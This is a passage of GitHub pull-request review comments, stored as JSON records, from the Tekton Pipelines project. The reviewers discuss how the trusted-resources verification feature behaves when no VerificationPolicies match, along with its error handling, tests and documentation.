"2023-03-09T16:00:03Z", "line": null, "path": "docs/resolution.md", "pr_number": 6317, "repo": "pipeline"} +{"author": "lbernick", "body": "thanks for adding the helper function! would you mind moving the refactoring into a separate PR? other than that this LGTM", "comment_id": 1131431054, "created_at": "2023-03-09T18:23:33Z", "line": null, "path": "pkg/apis/config/testing/defaults.go", "pr_number": 6317, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Sure, created a separate PR and updates the usage of the new helper function PTAL!: https://github.com/tektoncd/pipeline/pull/6339\r\n\r\n/hold unitil https://github.com/tektoncd/pipeline/pull/6339 is merged", "comment_id": 1131576750, "created_at": "2023-03-09T20:47:54Z", "line": null, "path": "pkg/apis/config/testing/defaults.go", "pr_number": 6317, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "The `PipelineRun` resolver must have been pre-populated at this point", "comment_id": 1133912220, "created_at": "2023-03-13T13:06:21Z", "line": 189, "path": "pkg/reconciler/pipelinerun/pipelinespec/pipelinespec_test.go", "pr_number": 6317, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "https://github.com/tektoncd/pipeline/pull/6339 is merged\r\n\r\n/hold cancel", "comment_id": 1133919431, "created_at": "2023-03-13T13:11:44Z", "line": null, "path": "pkg/apis/config/testing/defaults.go", "pr_number": 6317, "repo": "pipeline"} +{"author": "wlynch", "body": "I'll preface this with I have no idea how much actual performance benefit this would have, but having to reach into the context for each check feels like it would be worse than doing something like:\r\n\r\n```suggestion\r\n\tif policy := config.GetVerificationNoMatchPolicy(ctx); policy == config.NoMatchPolicyDeny || policy == config.NoMatchPolicyWarn {\r\n```", "comment_id": 1136092040, "created_at": "2023-03-14T19:34:18Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "wlynch", "body": "This happens a bunch throughout the PR", "comment_id": 1136094773, "created_at": "2023-03-14T19:36:50Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "wlynch", "body": "Not sure if you intended on covering this in this PR or not. I don't think this does anything for setting the status on the object.", "comment_id": 1136094919, "created_at": "2023-03-14T19:36:58Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "wlynch", "body": "Add godoc comment (really all of these should have godoc comments, but might as well start here \ud83e\udd37 )", "comment_id": 1136101080, "created_at": "2023-03-14T19:42:33Z", "line": null, "path": "pkg/apis/config/feature_flags.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "wlynch", "body": "What happens if the config is forced into a configuration where it's not one of the 3 expected values?\r\n\r\nThis might be better if this was structured like:\r\n\r\n```go\r\nif errors.Is(err, trustedresources.ErrNoMatchedPolicies) {\r\n switch config.GetVerificationNoMatchPolicy(ctx) {\r\n case Deny:\r\n ...\r\n case Warn:\r\n ...\r\n case Allow:\r\n ...\r\n default:\r\n ...\r\n }\r\n}\r\n\r\n", "comment_id": 1136105256, "created_at": "2023-03-14T19:45:38Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "wlynch", "body": "You may be able to roll this into verify Pipeline and return ErrNoMatchedPolicies.", "comment_id": 1136107822, "created_at": "2023-03-14T19:47:58Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "ah yes, I think this is better! Thanks!", "comment_id": 1136131076, "created_at": "2023-03-14T20:04:40Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "We don't update status in this PR. I plan to add it in a followup pr", "comment_id": 1136425799, "created_at": "2023-03-15T01:09:18Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh ok", "comment_id": 1136428785, "created_at": "2023-03-15T01:13:36Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes! I hesitated on this for a while. The reason I return here is because I want to skip the verification early if no policies in the namespace. \r\nIf we wait for another function to check if we could skip the verification, there may be some issues there.", "comment_id": 1136436282, "created_at": "2023-03-15T01:27:16Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I have updated this part, I have moved all the check into VerifyPipeline and VerifyTask", "comment_id": 1136482889, "created_at": "2023-03-15T03:02:21Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I have updated all of them ", "comment_id": 1137431650, "created_at": "2023-03-15T16:46:40Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "wlynch", "body": "I'd recommend against failing open - stick with the strictest interpretation by default (fail)", "comment_id": 1137897858, "created_at": "2023-03-15T23:53:47Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "wlynch", "body": "will this get returned back to the user? if so remove the VerifyTask bit. You could probably just omit this case and let it fallthrough the ErrNoMatchedPolicies check.", "comment_id": 1137899263, "created_at": "2023-03-15T23:55:46Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "changed it to fallthrough, but not sure \"remove the VerifyTask bit\" means?", "comment_id": 1139228893, "created_at": "2023-03-16T18:49:44Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "wlynch", "body": "Old comment got deleted by the force push :(\r\n\r\nWhat I meant was that you can do something like:\r\n\r\n```suggestion\r\n\t\tif errors.Is(err, ErrNoMatchedPolicies) {\r\n\t\t\t// skip the verification if no policies are found and trusted-resources-verification-no-match-policy is set to ignore or warn\r\n\t\t\tswitch config.GetVerificationNoMatchPolicy(ctx) {\r\n\t\t\tcase config.IgnoreNoMatchPolicy:\r\n\t\t\t\treturn nil\r\n\t\t\tcase config.WarnNoMatchPolicy:\r\n\t\t\t\tlogger := logging.FromContext(ctx)\r\n\t\t\t\tlogger.Warnf(\"failed to get matched policies: %v\", err)\r\n\t\t\t\treturn nil\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn fmt.Errorf(\"failed to get matched policies: %w\", err)\r\n```\r\n\r\ninstead of having 2 errors with slightly different messages.", "comment_id": 1139315618, "created_at": "2023-03-16T20:20:56Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh I thought we must have a `default` in the `switch` and another reason is I thought it may have more readability if we list all the cases? Because we support 3 values for the `trusted-resources-verification-no-match-policy`", "comment_id": 1139330816, "created_at": "2023-03-16T20:33:10Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "wlynch", "body": "No hard rule here. I think it depends on what error you want to return back. IIRC one of the problems before was that we could fail open if we had an unrecognized config state. The default lets you prevent that, but it also has a trade off of now you have 2 separate errors that could be returned and diverge in content (you even see it here - they have slightly different messages).\r\n\r\nThat said, maybe there's an argument to be made that we **should** return a different error depending on whether you consider returning 0 policies a failure or not. \ud83e\udd37 \r\n\r\nIf you want to return separate errors, keep what you have and update the error message. If you want them to have the same error then have it converge on the same error return. Dealer's choice.", "comment_id": 1139436897, "created_at": "2023-03-16T22:59:02Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "Can you link to any example verificationPolicies? Also, do the verification policies have to be in the same namespace as the resource being verified?", "comment_id": 1139462201, "created_at": "2023-03-16T23:50:19Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n// GetVerificationNoMatchPolicy returns the \"trusted-resources-verification-no-match-policy\" value\r\n```", "comment_id": 1139462498, "created_at": "2023-03-16T23:51:05Z", "line": null, "path": "pkg/apis/config/feature_flags.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "nit: it's a bit redundant to have two separate fields here", "comment_id": 1139462900, "created_at": "2023-03-16T23:52:05Z", "line": null, "path": "pkg/apis/config/feature_flags_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "I don't understand why this error isn't handled, and why a feature flag is needed to guard execution here. Shouldn't you be able to list verification policies regardless of whether any exist, and whether verification is enabled? (same comment below)", "comment_id": 1139463817, "created_at": "2023-03-16T23:53:58Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "do we also need test cases for warn + ignore with matching policies and passed verification?", "comment_id": 1139649319, "created_at": "2023-03-17T03:23:42Z", "line": 571, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "This issue wasn't introduced by this PR, but having the test data separated into a helper function for creation (e.g. having a helper function create verification policies) makes it harder to understand what's being tested without having to jump to the helper function.", "comment_id": 1139650969, "created_at": "2023-03-17T03:25:17Z", "line": 467, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n\tmodifiedPipeline := signedPipeline.DeepCopy()\r\n```", "comment_id": 1139651183, "created_at": "2023-03-17T03:25:28Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "I think the phrase \"enforce verification of tasks/pipeline\" is a bit confusing. My understanding is that creating VerificationPolicies is what enforces verification, no? This flag configures behavior only for instances with no matching verificationpolicies. Saying that setting the flag to \"ignore\" \"skips the whole verification\" is also confusing, because if you set the flag to \"ignore\" but there are matching verificationpolicies, the taskrun/pipelinerun could still fail verification right?\r\n\r\nMaybe you can rephrase:\r\n```\r\nThis flag affects the behavior of taskruns and pipelineruns in cases where no VerificationPolicies match them.\r\nIf it is set to \"fail\", TaskRuns and PipelineRuns will fail verification if no matching policies are found.\r\nIf it is set to \"warn\", TaskRuns and PipelineRuns will run to completion if no matching policies are found, and an error will be logged.\r\nIf it is set to \"ignore\", TaskRuns and PipelineRuns will run to completion if no matching policies are found, and no error will be logged.\r\n```", "comment_id": 1139657818, "created_at": "2023-03-17T03:32:09Z", "line": null, "path": "config/config-feature-flags.yaml", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "It looks like this tests a case where the policy is set to \"fail\" and there are matching policies, but the pipeline fails verification. Is there a test case for \"fail\" with no matching policies?", "comment_id": 1139661253, "created_at": "2023-03-17T03:35:57Z", "line": 696, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "Is the verificationnomatchpolicy relevant for these test cases, since they have matching policies?", "comment_id": 1139662674, "created_at": "2023-03-17T03:37:31Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "I think this docstring could use an update to explain the function's new behavior with the feature flag", "comment_id": 1139664417, "created_at": "2023-03-17T03:39:24Z", "line": 48, "path": "pkg/trustedresources/verify.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "does the verificationnomatchpolicy matter for these test cases, since there are matching policies?", "comment_id": 1139666747, "created_at": "2023-03-17T03:42:08Z", "line": 176, "path": "pkg/trustedresources/verify_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n// SetupTrustedResourceConfig configures the trusted-resources-verification-no-match-policy feature flag with the given mode for testing\r\n```", "comment_id": 1139667808, "created_at": "2023-03-17T03:43:21Z", "line": null, "path": "test/trustedresources.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I'm thinking about a case that the lister is not able to list the policies (thought it could be extremely rare). If this case happens, it will stop users who even don't enable trusted resources. So I think maybe leave it to \"trusted resources\" code to check if policies exist. \r\n\r\n\r\n", "comment_id": 1140439342, "created_at": "2023-03-17T16:17:54Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "ah yes, thanks! We do need, added", "comment_id": 1140440031, "created_at": "2023-03-17T16:18:22Z", "line": 571, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "The verificationPolicies examples is right after this section so I didn't link it. But you're right. I added a reference to the next section. \r\n\r\n> do the verification policies have to be in the same namespace as the resource being verified\r\n\r\nYes, it is mentioned in the next section", "comment_id": 1140449898, "created_at": "2023-03-17T16:26:15Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Noted! I will see if I can refactoring those test helpers into those pkgs, there's an issue tracking this but it is not of high priority ", "comment_id": 1140458123, "created_at": "2023-03-17T16:33:31Z", "line": 467, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes, it is a missing case, added!", "comment_id": 1140465964, "created_at": "2023-03-17T16:40:53Z", "line": 696, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "Wasn't this previously also the case though? In general, we want all errors to be handled (https://google.github.io/styleguide/go/decisions#handle-errors). If the controller returns an error, knative will add the taskrun/pipelinerun back onto the work queue to retry, unless it's a permanent error. So I think handling the error is the right decision here, as long as we can make sure a lister failure doesn't hit this case where a permanent error is returned: https://github.com/tektoncd/pipeline/blob/6c2d01c272c06caf952ad6ce182abf717da53afb/pkg/reconciler/taskrun/taskrun.go#L352-L355", "comment_id": 1142275372, "created_at": "2023-03-20T15:14:12Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "thanks! what's the issue?", "comment_id": 1142278693, "created_at": "2023-03-20T15:16:22Z", "line": 467, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "which test case is this? I'm not seeing it", "comment_id": 1142289043, "created_at": "2023-03-20T15:20:20Z", "line": 696, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "this one: https://github.com/tektoncd/pipeline/issues/5820", "comment_id": 1142342039, "created_at": "2023-03-20T15:52:13Z", "line": 467, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I think the difference is that, if we handle this failure here, this would be a possible failure to stable version users. Though this is a alpha feature. Previously this is gated by our feature flag. \r\n\r\nBut I'm convinced by your comment. \ud83d\ude04 I will add it ", "comment_id": 1142350618, "created_at": "2023-03-20T15:58:07Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh I thought I added this one but looks like I only added these cases and was distracted by an urgent issue last week\r\nhttps://github.com/tektoncd/pipeline/compare/549a302e3fcced0360848bbf5a1078ff3aff21fb..c31dde1f124484d140d117ec3ff04749bd0cff50\r\n\r\nJust added in the latest [commit](https://github.com/tektoncd/pipeline/pull/6324/commits/1f160fc5127fc21979a6613a305dbcd9fedafce0). Thanks for the reminder!", "comment_id": 1142383177, "created_at": "2023-03-20T16:20:36Z", "line": 696, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes they are not relevant now, removed.", "comment_id": 1142397275, "created_at": "2023-03-20T16:30:11Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "For this case I think we still need it? I added an unmatched case here", "comment_id": 1142401918, "created_at": "2023-03-20T16:33:33Z", "line": 176, "path": "pkg/trustedresources/verify_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n- `trusted-resources-verification-no-match-policy`: Setting this flag to `fail` will fail the taskrun/pipelinerun if no matching policies found. Setting to `warn` will skip verification and log a warning if no matching policies are found, but not fail the taskrun/pipelinerun. Setting to `ignore` will skip verification if no matching policies found.\r\nDefaults to \"ignore\".\r\n```", "comment_id": 1142588279, "created_at": "2023-03-20T19:26:29Z", "line": null, "path": "docs/additional-configs.md", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n * To skip the verification: make sure no policies exist and `trusted-resources-verification-no-match-policy` is set to `warn` or `ignore`.\r\n```", "comment_id": 1142588833, "created_at": "2023-03-20T19:27:08Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n * `ignore`: if no matching policies are found, skip the verification, don't log, and don't fail the taskrun/pipelinerun\r\n * `warn`: if no matching policies are found, skip the verification, log a warning, and don't fail the taskrun/pipelinerun\r\n```\r\n\r\nJust trying to make it extra clear that verification is only skipped when no matching policies are found", "comment_id": 1142590645, "created_at": "2023-03-20T19:29:17Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "nit: this is already pretty well documented; it doesn't really need to be documented here; up to you", "comment_id": 1142590990, "created_at": "2023-03-20T19:29:43Z", "line": 117, "path": "pkg/apis/config/feature_flags.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "oh I see- makes sense. I agree we wouldn't want to return a permanent error due to the lister failure for users who don't care about trusted resources. There are two ways around this I could see: 1. create another error type for transient errors or 2. refactor error handling so a permanent error is returned only for things that are actually permanent. I think 2 might be a bit better but I haven't tried to write it out, so let me know if this suggestion is off base.", "comment_id": 1142599528, "created_at": "2023-03-20T19:39:26Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "This issue looks a bit unrelated; could you add a bit more detail in a comment re: moving test data closer to test cases?", "comment_id": 1142600514, "created_at": "2023-03-20T19:40:20Z", "line": 467, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "Thanks for following up! I can see you've also made the changes in taskref_test.go, thanks!", "comment_id": 1142602232, "created_at": "2023-03-20T19:42:18Z", "line": 696, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n// Skip the verification when no policies are found and trusted-resources-verification-no-match-policy is set to ignore or warn\r\n// Returns an error when no policies are found and trusted-resources-verification-no-match-policy is set to fail\r\n```", "comment_id": 1142602840, "created_at": "2023-03-20T19:43:05Z", "line": 45, "path": "pkg/trustedresources/verify.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "Are there matching policies for this test case and the next one? If so, can that be clarified somehow? If not, that seems like a bug", "comment_id": 1142609498, "created_at": "2023-03-20T19:50:34Z", "line": null, "path": "pkg/trustedresources/verify_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "I'm still confused-- it looks like all of these tests use the same verification policies. Do these policies match all of the input tasks? If so, the value of verificationNoMatchPolicy doesn't matter. Same comment for TestVerifyPipeline_Success", "comment_id": 1142612480, "created_at": "2023-03-20T19:53:50Z", "line": 176, "path": "pkg/trustedresources/verify_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh I see, thanks! I shouldn't mix these 2", "comment_id": 1142622455, "created_at": "2023-03-20T20:04:55Z", "line": null, "path": "docs/additional-configs.md", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thank you!", "comment_id": 1142623044, "created_at": "2023-03-20T20:05:37Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I think this is a suggestion from @wlynch to add doc here", "comment_id": 1142624092, "created_at": "2023-03-20T20:06:48Z", "line": 117, "path": "pkg/apis/config/feature_flags.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "ok, nbd", "comment_id": 1142624973, "created_at": "2023-03-20T20:07:52Z", "line": 117, "path": "pkg/apis/config/feature_flags.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "there are no matching policies for these 2 cases, their source is set to \"wrong source\" to not match any policies, I will update the case name to clarify. Thanks!", "comment_id": 1142626609, "created_at": "2023-03-20T20:09:47Z", "line": null, "path": "pkg/trustedresources/verify_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes they use the same verification policies. But we are passing different `source` to match the policies or not.", "comment_id": 1142631888, "created_at": "2023-03-20T20:15:11Z", "line": 176, "path": "pkg/trustedresources/verify_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "So there are cases when we don't have any matching policies, but don't fail because the feature flag is set to ignore/warn. We test the same situation from taskref_test. ", "comment_id": 1142633088, "created_at": "2023-03-20T20:16:31Z", "line": 176, "path": "pkg/trustedresources/verify_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! I added all the error cases in the docs ", "comment_id": 1142644284, "created_at": "2023-03-20T20:28:29Z", "line": 45, "path": "pkg/trustedresources/verify.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Am I correct that if we are not returning with `controller.NewPermanentError(err)` then the error is not permanent error?", "comment_id": 1142669944, "created_at": "2023-03-20T20:57:36Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Ok I created a new error and also add test to make sure that it is not a PermanentError. Then wrap the lister error into it to return. I checked the 3 places where we return this error:\r\n1. https://github.com/tektoncd/pipeline/blob/67af2ead7e6411795e2855b295dfdf44197e5dab/pkg/reconciler/pipelinerun/pipelinerun.go#L204-L206\r\n2. https://github.com/tektoncd/pipeline/blob/67af2ead7e6411795e2855b295dfdf44197e5dab/pkg/reconciler/pipelinerun/pipelinerun.go#L313-L316\r\n3.\r\nhttps://github.com/tektoncd/pipeline/blob/67af2ead7e6411795e2855b295dfdf44197e5dab/pkg/reconciler/taskrun/taskrun.go#L340-L342\r\nAnd I think this error is not returned as a permanent error", "comment_id": 1142759327, "created_at": "2023-03-20T23:09:32Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "I see; in that case it would be helpful to create variables `matchingSource` and `mismatchedSource` to serve as better \"documentation\"", "comment_id": 1143611742, "created_at": "2023-03-21T15:52:53Z", "line": 176, "path": "pkg/trustedresources/verify_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "> Am I correct that if we are not returning with controller.NewPermanentError(err) then the error is not permanent error?\r\n\r\nYes\r\n\r\n> Ok I created a new error and also add test to make sure that it is not a PermanentError\r\n\r\nI don't think we need a new error type for a transient error for 2 reasons: 1. `NewVerificationPolicyListError` is very specific and not really consistent with the rest of the codebase, and 2. calling functions don't need to know it's a verification policy list error, just that it's transient (see https://google.github.io/styleguide/go/best-practices.html#error-structure).\r\n\r\n> I checked the 3 places where we return this error\r\n\r\nThere's no need to change the error values returned by ReconcileKind to structured errors, since they don't get converted into permanent errors. I think the problem here is that `GetVerifiedPipelineFunc` turns all errors returned by resource verification into ErrResourceVerificationFailed, and all of those errors are then turned into permanent errors here: https://github.com/tektoncd/pipeline/blob/67cced0e60616b30dcbf9e8289e630d818563cb6/pkg/reconciler/pipelinerun/pipelinerun.go#L364-L368", "comment_id": 1143646231, "created_at": "2023-03-21T16:08:59Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "https://google.github.io/styleguide/go/best-practices.html#logging-errors\r\n\"Avoid duplication. If you return an error, it\u2019s usually better not to log it yourself but rather let the caller handle it.\"", "comment_id": 1143647115, "created_at": "2023-03-21T16:09:25Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "lbernick", "body": "Resolved offline-- I misunderstood how `GetVerifiedPipelineFunc` was called", "comment_id": 1144825051, "created_at": "2023-03-22T13:36:57Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! Adopted the suggestions", "comment_id": 1145086682, "created_at": "2023-03-22T16:15:50Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh I see, I have updated the issue to \"refactor the helper functions to the files where they are used\"", "comment_id": 1145094334, "created_at": "2023-03-22T16:20:12Z", "line": 467, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6324, "repo": "pipeline"} +{"author": "dibyom", "body": "are there docs we need to update with the new Mode field?", "comment_id": 1136015833, "created_at": "2023-03-14T18:21:16Z", "line": 65, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 6328, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Not yet, I plan to use this new field in next pr(and add docs there) to keep the PR small. I think we should merge these 2 PRs in one release. So better add this PR to v0.47", "comment_id": 1136020788, "created_at": "2023-03-14T18:26:08Z", "line": 65, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 6328, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I'm curious whether we should add this validations? One thing we can do is to call setdefaults in reconciler. Since previous policies don't have this field. Enforcing the validation may break the usage. ", "comment_id": 1136024836, "created_at": "2023-03-14T18:30:10Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 6328, "repo": "pipeline"} +{"author": "wlynch", "body": "I wouldn't require this. Just treat the empty Mode as Enforce in the reconciler, and add it to the list of allowed values below.", "comment_id": 1136112442, "created_at": "2023-03-14T19:51:56Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 6328, "repo": "pipeline"} +{"author": "wlynch", "body": "Include what the valid values are.", "comment_id": 1136113599, "created_at": "2023-03-14T19:52:56Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 6328, "repo": "pipeline"} +{"author": "wlynch", "body": "This also lets you retain compatibility with existing policies.", "comment_id": 1136114151, "created_at": "2023-03-14T19:53:27Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 6328, "repo": "pipeline"} +{"author": "wlynch", "body": "I think you should - I'd rather get instant feedback that I gave a bad field value than find out at TaskRun reconcile.", "comment_id": 1136115308, "created_at": "2023-03-14T19:54:29Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 6328, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yeah! That makes sense! Thanks!", "comment_id": 1136128842, "created_at": "2023-03-14T20:02:38Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 6328, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Tracking issue here: https://github.com/tektoncd/pipeline/issues/6356", "comment_id": 1136179717, "created_at": "2023-03-14T20:46:11Z", "line": 65, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 6328, "repo": "pipeline"} +{"author": "lbernick", "body": "This can just be removed", "comment_id": 1131580502, "created_at": "2023-03-09T20:51:42Z", "line": null, "path": "pkg/apis/pipeline/v1/pipelinerun_defaults_test.go", "pr_number": 6339, "repo": "pipeline"} +{"author": "lbernick", "body": "nit: cfgtesting might be more clear but that's subjective, will leave it up to you", "comment_id": 1131581399, "created_at": "2023-03-09T20:52:29Z", "line": null, "path": "pkg/apis/pipeline/v1/pipelinerun_defaults_test.go", "pr_number": 6339, "repo": "pipeline"} +{"author": "lbernick", "body": "Ideally we wouldn't need this check; SetDefaults should work with empty data", "comment_id": 1131582169, "created_at": "2023-03-09T20:53:15Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_defaults_test.go", "pr_number": 6339, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Yes, it should work. But we do want to use this check to avoid some unnecessary code execution?", "comment_id": 1131597413, "created_at": "2023-03-09T20:59:00Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_defaults_test.go", "pr_number": 6339, "repo": "pipeline"} +{"author": "lbernick", "body": "personally I think readability is more important but it's subjective", "comment_id": 1131650369, "created_at": "2023-03-09T21:50:23Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_defaults_test.go", "pr_number": 6339, "repo": "pipeline"} +{"author": 